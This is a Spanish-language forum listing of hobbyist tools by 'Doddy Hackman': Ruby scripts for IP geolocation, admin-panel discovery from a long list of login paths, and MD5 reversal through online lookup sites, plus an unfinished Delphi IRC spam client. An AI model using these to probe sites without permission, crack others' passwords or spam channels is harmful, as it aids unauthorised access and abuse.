51
Programación / Scripting / [Ruby] LocateIP 0.3
en: 27 Junio 2015, 01:18 am
Un simple script en Ruby para localizar una IP y sus DNS.
Version consola :
#!usr/bin/ruby
#LocateIP 0.3
#(C) Doddy Hackman 2015
require "open-uri"
require "net/http"
require "resolv"
# Functions
def get_ip( hostname)
begin
return Resolv.getaddress ( hostname)
rescue
return "Error"
end
end
def toma( web)
begin
return open ( web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ) .read
rescue
return "Error"
end
end
def response_code( web)
begin
return Net::HTTP .get_response ( URI ( web) ) .code
rescue
return "404"
end
end
def tomar( web,arg)
begin
headers = { "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" }
uri = URI ( web)
http = Net::HTTP .new ( uri.host , uri.port )
return http.post ( uri.path ,arg, headers) .body
rescue
return "Error"
end
end
def uso
print "\n [+] Sintax : ruby locateip.rb <target>\n "
end
def head
print "\n \n -- == LocateIP 0.3 == --\n \n "
end
def copyright
print "\n \n -- == (C) Doddy Hackman 2015 == --\n \n "
end
def locateip( target)
print "\n [+] Getting IP ...\n "
ip = get_ip( target)
print "\n [+] IP : " + ip+ "\n "
web = "http://www.melissadata.com/lookups/iplocation.asp"
print "\n [+] Locating ...\n \n "
code = tomar( web,"ipaddress=" + ip+ "&btn=Submit" )
if code=~/ City< \/ td>< td align=( .* ) >< b> ( .* ) < \/ b>< \/ td>/
print "[+] City : " + $2+ "\n "
else
print "[+] City : Not Found\n "
end
if code=~/ Country< \/ td>< td align=( .* ) >< b> ( .* ) < \/ b>< \/ td>/
print "[+] Country : " + $2+ "\n "
else
print "[+] Country : Not Found\n "
end
if code=~/ State or Region< \/ td>< td align=( .* ) >< b> ( .* ) < \/ b>< \/ td>/
print "[+] State or Region : " + $2+ "\n " ;
else
print "[+] State of Region : Not Found\n "
end
print "\n [+] Getting DNS ...\n \n "
control = "0"
code = toma( "http://www.ip-adress.com/reverse_ip/" + ip)
dnss = code.scan ( / whois\/ ( .* ?) \">Whois/)
dnss.flatten.each do |dns|
begin
if dns != " "
control = " 1 "
print " [ + ] DNS Found : "+dns
end
end
end
if control==" 0 "
print " \n[ - ] DNS Not Found\n"
end
end
target = ARGV[0]
head()
if !target
uso()
else
locateip(target)
end
copyright()
#The End ?
Version Tk :
#!usr/bin/ruby
#LocateIP 0.3
#(C) Doddy Hackman 2015
require "tk"
require "open-uri"
require "net/http"
require "resolv"
# Functions
def get_ip( hostname)
begin
return Resolv.getaddress ( hostname)
rescue
return "Error"
end
end
def toma( web)
begin
return open ( web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ) .read
rescue
return "Error"
end
end
def response_code( web)
begin
return Net::HTTP .get_response ( URI ( web) ) .code
rescue
return "404"
end
end
def tomar( web,arg)
begin
headers = { "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" }
uri = URI ( web)
http = Net::HTTP .new ( uri.host , uri.port )
return http.post ( uri.path ,arg, headers) .body
rescue
return "Error"
end
end
#
window = TkRoot.new { title "LocateIP 0.3 (C) Doddy Hackman 2015" ; background "black" }
window[ 'geometry' ] = '300x300-20+10'
TkLabel.new ( window) do
background "black"
foreground "yellow"
text " Target : "
place( 'relx' => "0.1" ,'rely' => "0.1" )
end
target = TkEntry.new ( window) {
background "black"
foreground "yellow"
width 25
place( 'relx' => 0.3 ,'rely' => 0.1 )
}
TkLabel.new ( window) do
background "black"
foreground "yellow"
text "Console"
place( 'relx' => 0.4 ,'rely' => 0.2 )
end
console =TkText.new ( window) do
background "black"
foreground "yellow"
width 30
height 10
place( 'relx' => 0.1 ,'rely' => 0.3 )
end
TkButton.new ( window) do
text "Search"
background "black"
foreground "yellow"
width 17
activebackground "yellow"
highlightbackground "yellow"
command proc {
target = target.value .to_s
console.insert ( "end" , "[+] Getting IP ...\n " )
ip = get_ip( target)
web = "http://www.melissadata.com/lookups/iplocation.asp"
console.insert ( "end" , "\n [+] Locating ...\n \n " )
code = tomar( web,"ipaddress=" + ip+ "&btn=Submit" )
if code=~/ City< \/ td>< td align=( .* ) >< b> ( .* ) < \/ b>< \/ td>/
console.insert ( "end" , "[+] City : " + $2+ "\n " )
else
console.insert ( "end" , "[+] City : Not Found\n " )
end
if code=~/ Country< \/ td>< td align=( .* ) >< b> ( .* ) < \/ b>< \/ td>/
console.insert ( "end" ,"[+] Country : " + $2+ "\n " )
else
console.insert ( "end" , "[+] Country : Not Found\n " )
end
if code=~/ State or Region< \/ td>< td align=( .* ) >< b> ( .* ) < \/ b>< \/ td>/
console.insert ( "end" , "[+] State or Region : " + $2+ "\n " )
else
console.insert ( "end" ,"[+] State of Region : Not Found\n " )
end
console.insert ( "end" ,"\n [+] Getting DNS ...\n \n " )
control = "0"
code = toma( "http://www.ip-adress.com/reverse_ip/" + ip)
dnss = code.scan ( / whois\/ ( .* ?) \">Whois/)
dnss.flatten.each do |dns|
begin
if dns != " "
control = " 1 "
console.insert(" end ", " [ + ] DNS Found : "+dns)
end
end
end
if control==" 0 "
console.insert(" end "," \n[ - ] DNS Not Found\n")
end
console.insert(" end "," \n\n[ + ] Finished")
}
place('relx'=>0.3,'rely'=>0.9)
end
Tk.mainloop
#The End ?
Una imagen :
Eso es todo.
52
Programación / Scripting / [Ruby] PanelFinder 0.5
en: 12 Junio 2015, 23:52 pm
Un simple script en Ruby para buscar el panel de administracion de una pagina.
Version consola :
#!usr/bin/ruby
#PanelFinder 0.5
#(C) Doddy Hackman 2015
require "open-uri"
require "net/http"
# Functions
def toma( web)
begin
return open ( web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ) .read
rescue
return "Error"
end
end
def response_code( web)
begin
return Net::HTTP .get_response ( URI ( web) ) .code
rescue
return "404"
end
end
def tomar( web,arg)
begin
headers = { "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" }
uri = URI ( web)
http = Net::HTTP .new ( uri.host , uri.port )
return http.post ( uri.path ,arg, headers) .body
rescue
return "Error"
end
end
def find_panel( page)
panels = [ 'admin/admin.asp' ,'admin/login.asp' ,'admin/index.asp' ,'admin/admin.aspx' ,'admin/login.aspx' ,'admin/index.aspx' ,'admin/webmaster.asp' ,'admin/webmaster.aspx' ,'asp/admin/index.asp' ,'asp/admin/index.aspx' ,'asp/admin/admin.asp' ,'asp/admin/admin.aspx' ,'asp/admin/webmaster.asp' ,'asp/admin/webmaster.aspx' ,'admin/' ,'login.asp' ,'login.aspx' ,'admin.asp' ,'admin.aspx' ,'webmaster.aspx' ,'webmaster.asp' ,'login/index.asp' ,'login/index.aspx' ,'login/login.asp' ,'login/login.aspx' ,'login/admin.asp' ,'login/admin.aspx' ,'administracion/index.asp' ,'administracion/index.aspx' ,'administracion/login.asp' ,'administracion/login.aspx' ,'administracion/webmaster.asp' ,'administracion/webmaster.aspx' ,'administracion/admin.asp' ,'administracion/admin.aspx' ,'php/admin/' ,'admin/admin.php' ,'admin/index.php' ,'admin/login.php' ,'admin/system.php' ,'admin/ingresar.php' ,'admin/administrador.php' ,'admin/default.php' ,'administracion/' ,'administracion/index.php' ,'administracion/login.php' ,'administracion/ingresar.php' ,'administracion/admin.php' ,'administration/' ,'administration/index.php' ,'administration/login.php' ,'administrator/index.php' ,'administrator/login.php' ,'administrator/system.php' ,'system/' ,'system/login.php' ,'admin.php' ,'login.php' ,'administrador.php' ,'administration.php' ,'administrator.php' ,'admin1.html' ,'admin1.php' ,'admin2.php' ,'admin2.html' ,'yonetim.php' ,'yonetim.html' ,'yonetici.php' ,'yonetici.html' ,'adm/' ,'admin/account.php' ,'admin/account.html' ,'admin/index.html' ,'admin/login.html' ,'admin/home.php' ,'admin/controlpanel.html' ,'admin/controlpanel.php' ,'admin.html' ,'admin/cp.php' ,'admin/cp.html' ,'cp.php' ,'cp.html' ,'administrator/' ,'administrator/index.html' ,'administrator/login.html' ,'administrator/account.html' ,'administrator/account.php' ,'administrator.html' ,'login.html' ,'modelsearch/login.php' ,'moderator.php' ,'moderator.html' ,'moderator/login.php' ,'moderator/login.html' ,'moderator/admin.php' ,'moderator/admin.html' ,'moderator/' ,'account.php' ,'account.html' ,'controlpanel/' ,'controlpanel.php' ,'controlpanel.html' ,'admincontrol.php' ,'admincontrol.html' ,'adminpanel.php' ,'adminpanel.html' ,'admin1.asp' ,'admin2.asp' ,'yonetim.asp' ,'yonetici.asp' ,'admin/account.asp' ,'admin/home.asp' ,'admin/controlpanel.asp' ,'admin/cp.asp' ,'cp.asp' ,'administrator/index.asp' ,'administrator/login.asp' ,'administrator/account.asp' ,'administrator.asp' ,'modelsearch/login.asp' ,'moderator.asp' ,'moderator/login.asp' ,'moderator/admin.asp' ,'account.asp' ,'controlpanel.asp' ,'admincontrol.asp' ,'adminpanel.asp' ,'fileadmin/' ,'fileadmin.php' ,'fileadmin.asp' ,'fileadmin.html' ,'administration.html' ,'sysadmin.php' ,'sysadmin.html' ,'phpmyadmin/' ,'myadmin/' ,'sysadmin.asp' ,'sysadmin/' ,'ur-admin.asp' ,'ur-admin.php' ,'ur-admin.html' ,'ur-admin/' ,'Server.php' ,'Server.html' ,'Server.asp' ,'Server/' ,'wp-admin/' ,'administr8.php' ,'administr8.html' ,'administr8/' ,'administr8.asp' ,'webadmin/' ,'webadmin.php' ,'webadmin.asp' ,'webadmin.html' ,'administratie/' ,'admins/' ,'admins.php' ,'admins.asp' ,'admins.html' ,'administrivia/' ,'Database_Administration/' ,'WebAdmin/' ,'useradmin/' ,'sysadmins/' ,'admin1/' ,'system-administration/' ,'administrators/' ,'pgadmin/' ,'directadmin/' ,'staradmin/' ,'ServerAdministrator/' ,'SysAdmin/' ,'administer/' ,'LiveUser_Admin/' ,'sys-admin/' ,'typo3/' ,'panel/' ,'cpanel/' ,'cPanel/' ,'cpanel_file/' ,'platz_login/' ,'rcLogin/' ,'blogindex/' ,'formslogin/' ,'autologin/' ,'support_login/' ,'meta_login/' ,'manuallogin/' ,'simpleLogin/' ,'loginflat/' ,'utility_login/' ,'showlogin/' ,'memlogin/' ,'members/' ,'login-redirect/' ,'sub-login/' ,'wp-login/' ,'login1/' ,'dir-login/' ,'login_db/' ,'xlogin/' ,'smblogin/' ,'customer_login/' ,'UserLogin/' ,'login-us/' ,'acct_login/' ,'admin_area/' ,'bigadmin/' ,'project-admins/' ,'phppgadmin/' ,'pureadmin/' ,'sql-admin/' ,'radmind/' ,'openvpnadmin/' ,'wizmysqladmin/' ,'vadmind/' ,'ezsqliteadmin/' ,'hpwebjetadmin/' ,'newsadmin/' ,'adminpro/' ,'Lotus_Domino_Admin/' ,'bbadmin/' ,'vmailadmin/' ,'Indy_admin/' ,'ccp14admin/' ,'irc-macadmin/' ,'banneradmin/' ,'sshadmin/' ,'phpldapadmin/' ,'macadmin/' ,'administratoraccounts/' ,'admin4_account/' ,'admin4_colon/' ,'radmind-1/' ,'Super-Admin/' ,'AdminTools/' ,'cmsadmin/' ,'SysAdmin2/' ,'globes_admin/' ,'cadmins/' ,'phpSQLiteAdmin/' ,'navSiteAdmin/' ,'server_admin_small/' ,'logo_sysadmin/' ,'server/' ,'database_administration/' ,'power_user/' ,'system_administration/' ,'ss_vms_admin_sm/' ]
print "\n [+] Scanning ...\n \n "
control = "0"
panels.each do | panel|
begin
url = page+ "/" + panel
status_code = response_code( url)
if status_code=="200"
print "[+] Link : " + url+ "\n "
control = "1"
end
end
end
if control=="1"
print "\n [+] Finished\n "
else
print "\n [-] Not Found\n "
end
end
def uso
print "\n [+] Sintax : ruby panel_finder.rb <page>\n "
end
def head
print "\n \n -- == Panel Finder 0.5 == --\n \n "
end
def copyright
print "\n \n -- == (C) Doddy Hackman 2015 == --\n \n "
end
page = ARGV[ 0 ]
head( )
if !page
uso( )
else
find_panel( page)
end
copyright( )
#The End ?
Version Tk :
#!usr/bin/ruby
#PanelFinder 0.5
#(C) Doddy Hackman 2015
require "tk"
require "open-uri"
require "net/http"
# Functions
def toma( web)
begin
return open ( web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ) .read
rescue
return "Error"
end
end
def response_code( web)
begin
return Net::HTTP .get_response ( URI ( web) ) .code
rescue
return "404"
end
end
def tomar( web,arg)
begin
headers = { "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" }
uri = URI ( web)
http = Net::HTTP .new ( uri.host , uri.port )
return http.post ( uri.path ,arg, headers) .body
rescue
return "Error"
end
end
#
window = TkRoot.new { title "PanelFinder 0.5 (C) Doddy Hackman 2015" ; background "black" }
window[ 'geometry' ] = '300x300-20+10'
TkLabel.new ( window) do
background "black"
foreground "orange"
text " Page : "
place( 'relx' => "0.1" ,'rely' => "0.1" )
end
page = TkEntry.new ( window) {
background "black"
foreground "orange"
width 25
place( 'relx' => 0.3 ,'rely' => 0.1 )
}
TkLabel.new ( window) do
background "black"
foreground "orange"
text "Console"
place( 'relx' => 0.4 ,'rely' => 0.2 )
end
console =TkText.new ( window) do
background "black"
foreground "orange"
width 30
height 10
place( 'relx' => 0.1 ,'rely' => 0.3 )
end
TkButton.new ( window) do
text "Search"
background "black"
foreground "orange"
width 17
activebackground "orange"
highlightbackground "orange"
command proc {
page = page.value .to_s
panels = [ 'admin/admin.asp' ,'admin/login.asp' ,'admin/index.asp' ,'admin/admin.aspx' ,'admin/login.aspx' ,'admin/index.aspx' ,'admin/webmaster.asp' ,'admin/webmaster.aspx' ,'asp/admin/index.asp' ,'asp/admin/index.aspx' ,'asp/admin/admin.asp' ,'asp/admin/admin.aspx' ,'asp/admin/webmaster.asp' ,'asp/admin/webmaster.aspx' ,'admin/' ,'login.asp' ,'login.aspx' ,'admin.asp' ,'admin.aspx' ,'webmaster.aspx' ,'webmaster.asp' ,'login/index.asp' ,'login/index.aspx' ,'login/login.asp' ,'login/login.aspx' ,'login/admin.asp' ,'login/admin.aspx' ,'administracion/index.asp' ,'administracion/index.aspx' ,'administracion/login.asp' ,'administracion/login.aspx' ,'administracion/webmaster.asp' ,'administracion/webmaster.aspx' ,'administracion/admin.asp' ,'administracion/admin.aspx' ,'php/admin/' ,'admin/admin.php' ,'admin/index.php' ,'admin/login.php' ,'admin/system.php' ,'admin/ingresar.php' ,'admin/administrador.php' ,'admin/default.php' ,'administracion/' ,'administracion/index.php' ,'administracion/login.php' ,'administracion/ingresar.php' ,'administracion/admin.php' ,'administration/' ,'administration/index.php' ,'administration/login.php' ,'administrator/index.php' ,'administrator/login.php' ,'administrator/system.php' ,'system/' ,'system/login.php' ,'admin.php' ,'login.php' ,'administrador.php' ,'administration.php' ,'administrator.php' ,'admin1.html' ,'admin1.php' ,'admin2.php' ,'admin2.html' ,'yonetim.php' ,'yonetim.html' ,'yonetici.php' ,'yonetici.html' ,'adm/' ,'admin/account.php' ,'admin/account.html' ,'admin/index.html' ,'admin/login.html' ,'admin/home.php' ,'admin/controlpanel.html' ,'admin/controlpanel.php' ,'admin.html' ,'admin/cp.php' ,'admin/cp.html' ,'cp.php' ,'cp.html' ,'administrator/' ,'administrator/index.html' ,'administrator/login.html' ,'administrator/account.html' ,'administrator/account.php' ,'administrator.html' ,'login.html' ,'modelsearch/login.php' ,'moderator.php' ,'moderator.html' ,'moderator/login.php' ,'moderator/login.html' ,'moderator/admin.php' ,'moderator/admin.html' ,'moderator/' ,'account.php' ,'account.html' ,'controlpanel/' ,'controlpanel.php' ,'controlpanel.html' ,'admincontrol.php' ,'admincontrol.html' ,'adminpanel.php' ,'adminpanel.html' ,'admin1.asp' ,'admin2.asp' ,'yonetim.asp' ,'yonetici.asp' ,'admin/account.asp' ,'admin/home.asp' ,'admin/controlpanel.asp' ,'admin/cp.asp' ,'cp.asp' ,'administrator/index.asp' ,'administrator/login.asp' ,'administrator/account.asp' ,'administrator.asp' ,'modelsearch/login.asp' ,'moderator.asp' ,'moderator/login.asp' ,'moderator/admin.asp' ,'account.asp' ,'controlpanel.asp' ,'admincontrol.asp' ,'adminpanel.asp' ,'fileadmin/' ,'fileadmin.php' ,'fileadmin.asp' ,'fileadmin.html' ,'administration.html' ,'sysadmin.php' ,'sysadmin.html' ,'phpmyadmin/' ,'myadmin/' ,'sysadmin.asp' ,'sysadmin/' ,'ur-admin.asp' ,'ur-admin.php' ,'ur-admin.html' ,'ur-admin/' ,'Server.php' ,'Server.html' ,'Server.asp' ,'Server/' ,'wp-admin/' ,'administr8.php' ,'administr8.html' ,'administr8/' ,'administr8.asp' ,'webadmin/' ,'webadmin.php' ,'webadmin.asp' ,'webadmin.html' ,'administratie/' ,'admins/' ,'admins.php' ,'admins.asp' ,'admins.html' ,'administrivia/' ,'Database_Administration/' ,'WebAdmin/' ,'useradmin/' ,'sysadmins/' ,'admin1/' ,'system-administration/' ,'administrators/' ,'pgadmin/' ,'directadmin/' ,'staradmin/' ,'ServerAdministrator/' ,'SysAdmin/' ,'administer/' ,'LiveUser_Admin/' ,'sys-admin/' ,'typo3/' ,'panel/' ,'cpanel/' ,'cPanel/' ,'cpanel_file/' ,'platz_login/' ,'rcLogin/' ,'blogindex/' ,'formslogin/' ,'autologin/' ,'support_login/' ,'meta_login/' ,'manuallogin/' ,'simpleLogin/' ,'loginflat/' ,'utility_login/' ,'showlogin/' ,'memlogin/' ,'members/' ,'login-redirect/' ,'sub-login/' ,'wp-login/' ,'login1/' ,'dir-login/' ,'login_db/' ,'xlogin/' ,'smblogin/' ,'customer_login/' ,'UserLogin/' ,'login-us/' ,'acct_login/' ,'admin_area/' ,'bigadmin/' ,'project-admins/' ,'phppgadmin/' ,'pureadmin/' ,'sql-admin/' ,'radmind/' ,'openvpnadmin/' ,'wizmysqladmin/' ,'vadmind/' ,'ezsqliteadmin/' ,'hpwebjetadmin/' ,'newsadmin/' ,'adminpro/' ,'Lotus_Domino_Admin/' ,'bbadmin/' ,'vmailadmin/' ,'Indy_admin/' ,'ccp14admin/' ,'irc-macadmin/' ,'banneradmin/' ,'sshadmin/' ,'phpldapadmin/' ,'macadmin/' ,'administratoraccounts/' ,'admin4_account/' ,'admin4_colon/' ,'radmind-1/' ,'Super-Admin/' ,'AdminTools/' ,'cmsadmin/' ,'SysAdmin2/' ,'globes_admin/' ,'cadmins/' ,'phpSQLiteAdmin/' ,'navSiteAdmin/' ,'server_admin_small/' ,'logo_sysadmin/' ,'server/' ,'database_administration/' ,'power_user/' ,'system_administration/' ,'ss_vms_admin_sm/' ]
console.insert ( "end" , "[+] Scanning ...\n \n " )
control = "0"
panels.each do | panel|
begin
url = page+ "/" + panel
status_code = response_code( url)
if status_code=="200"
console.insert ( "end" ,"[+] Link : " + url+ "\n " )
control = "1"
end
end
end
if control=="1"
console.insert ( "end" ,"\n [+] Finished" )
else
console.insert ( "end" ,"\n [-] Not Found" )
end
}
place( 'relx' => 0.3 ,'rely' => 0.9 )
end
Tk.mainloop
#The End ?
Una imagen :
Eso es todo.
53
Programación / Scripting / [Ruby] MD5 Cracker 0.2
en: 29 Mayo 2015, 16:37 pm
Un simple script en Ruby para crackear un hash MD5.
Version consola :
#!usr/bin/ruby
#MD5 Cracker 0.2
#(C) Doddy Hackman 2015
require "open-uri"
require "net/http"
# Functions
def toma( web)
begin
return open ( web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ) .read
rescue
return "Error"
end
end
def response_code( web)
begin
return Net::HTTP .get_response ( URI ( web) ) .code
rescue
return "404"
end
end
def tomar( web,arg)
begin
headers = { "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" }
uri = URI ( web)
http = Net::HTTP .new ( uri.host , uri.port )
return http.post ( uri.path ,arg, headers) .body
rescue
return "Error"
end
end
def crack( md5)
print "\n [+] Cracking ...\n \n "
code = tomar( "http://md5online.net/index.php" ,"pass=" + md5+ "&option=hash2text&send=Submit" )
if code=~/ pass : < b> ( .* ?) < \/ b>/
password = $1
print "[+] md5online.net -> " + password+ "\n "
else
print "[-] md5online.net -> Not Found" + "\n "
end
code = tomar( "http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php" ,"md5=" + md5)
if code=~/< span class ='middle_title' > Hashed string< \/ span> : ( .* ?) < \/ div>/
password = $1
print "[+] md5.my-addr.co -> " + password+ "\n "
else
print "[-] md5.my-addr.co -> Not Found" + "\n "
end
code = tomar( "http://md5decryption.com/index.php" ,"hash=" + md5+ "&submit=Decrypt It!" )
if code=~/ Decrypted Text: < \/ b> ( .* ?) < \/ font>/
password = $1
print "[+] md5decryption.com -> " + password+ "\n "
else
print "[-] md5decryption.com -> Not Found" + "\n "
end
print "\n [+] Finished"
end
def uso
print "\n [+] Sintax : ruby md5cracker.rb <md5>\n "
end
def head
print "\n \n -- == MD5 Cracker 0.2 == --\n \n "
end
def copyright
print "\n \n -- == (C) Doddy Hackman 2015 == --\n \n "
end
#
md5 = ARGV[ 0 ]
head( )
if !md5
uso( )
else
crack( md5)
end
copyright( )
#The End ?
Version Tk :
#!usr/bin/ruby
#MD5 Cracker 0.2
#(C) Doddy Hackman 2015
require "tk"
require "open-uri"
require "net/http"
#Functions
# Functions
def toma( web)
begin
return open ( web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ) .read
rescue
return "Error"
end
end
def response_code( web)
begin
return Net::HTTP .get_response ( URI ( web) ) .code
rescue
return "404"
end
end
def tomar( web,arg)
begin
headers = { "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" }
uri = URI ( web)
http = Net::HTTP .new ( uri.host , uri.port )
return http.post ( uri.path ,arg, headers) .body
rescue
return "Error"
end
end
#
window = TkRoot.new { title "MD5 Cracker 0.2 (C) Doddy Hackman 2015" ; background "black" }
window[ 'geometry' ] = '300x300-20+10'
TkLabel.new ( window) do
background "black"
foreground "green"
text " MD5 : "
place( 'relx' => "0.1" ,'rely' => "0.1" )
end
md5 = TkEntry.new ( window) {
background "black"
foreground "green"
width 25
place( 'relx' => 0.3 ,'rely' => 0.1 )
}
TkLabel.new ( window) do
background "black"
foreground "green"
text "Console"
place( 'relx' => 0.4 ,'rely' => 0.2 )
end
console =TkText.new ( window) do
background "black"
foreground "green"
width 30
height 10
place( 'relx' => 0.1 ,'rely' => 0.3 )
end
TkButton.new ( window) do
text "Crack It"
background "black"
foreground "green"
width 17
activebackground "green"
highlightbackground "green"
command proc {
md5 = md5.value .to_s
console.insert ( "end" ,"[+] Cracking ...\n \n " )
code = tomar( "http://md5online.net/index.php" ,"pass=" + md5+ "&option=hash2text&send=Submit" )
if code=~/ pass : < b> ( .* ?) < \/ b>/
password = $1
console.insert ( "end" ,"[+] md5online.net -> " + password+ "\n " )
else
console.insert ( "end" ,"[-] md5online.net -> Not Found" + "\n " )
end
code = tomar( "http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php" ,"md5=" + md5)
if code=~/< span class ='middle_title' > Hashed string< \/ span> : ( .* ?) < \/ div>/
password = $1
console.insert ( "end" ,"[+] md5.my-addr.co -> " + password+ "\n " )
else
console.insert ( "end" ,"[-] md5.my-addr.co -> Not Found" + "\n " )
end
code = tomar( "http://md5decryption.com/index.php" ,"hash=" + md5+ "&submit=Decrypt It!" )
if code=~/ Decrypted Text: < \/ b> ( .* ?) < \/ font>/
password = $1
console.insert ( "end" ,"[+] md5decryption.com -> " + password+ "\n " )
else
console.insert ( "end" ,"[-] md5decryption.com -> Not Found" + "\n " )
end
console.insert ( "end" ,"\n [+] Finished\n " )
}
place( 'relx' => 0.3 ,'rely' => 0.9 )
end
Tk.mainloop
#The End ?
Una imagen :
Eso es todo.
54
Programación / Programación General / [Delphi] KingSpam 0.4
en: 22 Mayo 2015, 17:23 pm
Un simple programa para hacer spam en canales IRC , tambien puede listar canales y usuarios.
Es algo inestable les recomiendo la version en Perl.
Una imagen :
// KingSpam 0.4
// (C) Doddy Hackman 2015
unit spam;
interface
uses
Winapi. Windows , Winapi. Messages , System. SysUtils , System. Variants ,
System. Classes , Vcl. Graphics ,
Vcl. Controls , Vcl. Forms , Vcl. Dialogs , Vcl. ComCtrls , Vcl. StdCtrls ,
Vcl. Imaging . pngimage , Vcl. ExtCtrls , IdContext, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegEx, Vcl. Menus ,
ShellApi;
type
TForm1 = class ( TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
GroupBox1: TGroupBox;
Label1: TLabel;
host: TEdit;
Label2: TLabel;
port: TEdit;
Label3: TLabel;
nombre: TEdit;
Label4: TLabel;
canal: TEdit;
Label5: TLabel;
spam: TEdit;
Button1: TButton;
Button2: TButton;
Button3: TButton;
TabSheet2: TTabSheet;
GroupBox2: TGroupBox;
GroupBox3: TGroupBox;
canales: TListBox;
users: TListBox;
TabSheet3: TTabSheet;
GroupBox4: TGroupBox;
GroupBox5: TGroupBox;
lista_canales: TListBox;
console1: TMemo;
Label6: TLabel;
canal_agregar: TEdit;
Button4: TButton;
Button5: TButton;
TabSheet5: TTabSheet;
GroupBox8: TGroupBox;
console2: TMemo;
IdIRC1: TIdIRC;
Button9: TButton;
StatusBar1: TStatusBar;
GroupBox6: TGroupBox;
canal_spam_usuarios: TEdit;
TabSheet4: TTabSheet;
GroupBox7: TGroupBox;
Image2: TImage;
Label7: TLabel;
PopupMenu1: TPopupMenu;
L1: TMenuItem;
R1: TMenuItem;
OpenDialog1: TOpenDialog;
file_spam: TListBox;
spam_usuarios: TTimer;
Button11: TButton;
Button6: TButton;
otrospamfile: TListBox;
Image3: TImage;
procedure Button2Click( Sender: TObject ) ;
procedure IdIRC1Raw( ASender: TIdContext; AIn: Boolean ;
const AMessage: string ) ;
procedure Button3Click( Sender: TObject ) ;
procedure Button4Click( Sender: TObject ) ;
procedure Button5Click( Sender: TObject ) ;
procedure Button1Click( Sender: TObject ) ;
procedure L1Click( Sender: TObject ) ;
procedure R1Click( Sender: TObject ) ;
procedure spam_usuariosTimer( Sender: TObject ) ;
procedure Button11Click( Sender: TObject ) ;
procedure Button6Click( Sender: TObject ) ;
procedure FormCreate( Sender: TObject ) ;
private
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
buscando_usuarios: string ;
buscando_canales: string ;
control_guardar_canales: string ;
control_guardar_users: string ;
implementation
{$R *.dfm}
// Functions
procedure savefile( filename, texto: string ) ;
var
ar: TextFile ;
begin
AssignFile ( ar, filename) ;
FileMode : = fmOpenWrite;
if FileExists ( filename) then
Append ( ar)
else
Rewrite ( ar) ;
Write ( ar, texto + sLineBreak) ;
CloseFile ( ar) ;
end ;
procedure TForm1. Button11Click ( Sender: TObject ) ;
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] Finished' ;
StatusBar1. Update ;
IdIRC1. Disconnect ;
spam_usuarios. Enabled : = false ;
end ;
procedure TForm1. Button1Click ( Sender: TObject ) ;
var
i: integer ;
contenido: TStringList;
stream: TFileStream;
begin
file_spam. Clear ;
if OpenDialog1. Execute then
begin
spam. Text : = OpenDialog1. filename ;
contenido : = TStringList. Create ;
stream : = TFileStream. Create ( ( OpenDialog1. filename ) , fmShareDenyNone) ;
contenido. LoadFromStream ( stream) ;
for i : = 0 to contenido. Count - 1 do
begin
file_spam. Items . Add ( contenido[ i] ) ;
end ;
end ;
end ;
procedure TForm1. Button2Click ( Sender: TObject ) ;
var
seleccion: integer ;
begin
canales. Items . Clear ;
buscando_canales : = 'yes' ;
seleccion : = MessageDlg( 'Save Channels' , mtInformation, mbYesNo, 0 ) ;
if seleccion = mrYes then
begin
control_guardar_canales : = 'yes' ;
end ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Searching channels ...' ;
StatusBar1. Update ;
// IdIRC1.Disconnect;
IdIRC1. Nickname : = nombre. Text ;
IdIRC1. AltNickname : = nombre. Text + '123' ;
IdIRC1. Username : = nombre. Text ;
IdIRC1. RealName : = nombre. Text ;
IdIRC1. Password : = '' ;
IdIRC1. host : = host. Text ;
try
begin
IdIRC1. Connect ;
IdIRC1. Raw ( 'LIST' ) ;
end ;
except
begin
ShowMessage( 'Error connecting' ) ;
end ;
end ;
if ( FileExists ( GetCurrentDir + '/logs/' + host. Text + '_canales.txt' ) ) then
begin
ShellExecute( Handle, 'open' , Pchar ( GetCurrentDir + '/logs/' + host. Text +
'_canales.txt' ) , nil , nil , SW_SHOWNORMAL) ;
end ;
end ;
procedure TForm1. Button3Click ( Sender: TObject ) ;
var
seleccion: integer ;
begin
users. Items . Clear ;
buscando_usuarios : = 'yes' ;
seleccion : = MessageDlg( 'Save users' , mtInformation, mbYesNo, 0 ) ;
if seleccion = mrYes then
begin
control_guardar_users : = 'yes' ;
end ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Searching users ...' ;
StatusBar1. Update ;
// IdIRC1.Disconnect;
IdIRC1. Nickname : = nombre. Text ;
IdIRC1. AltNickname : = nombre. Text + '123' ;
IdIRC1. Username : = nombre. Text ;
IdIRC1. RealName : = nombre. Text ;
IdIRC1. Password : = '' ;
IdIRC1. host : = host. Text ;
try
begin
IdIRC1. Connect ;
IdIRC1. Join ( canal. Text ) ;
end ;
except
begin
ShowMessage( 'Error connecting' ) ;
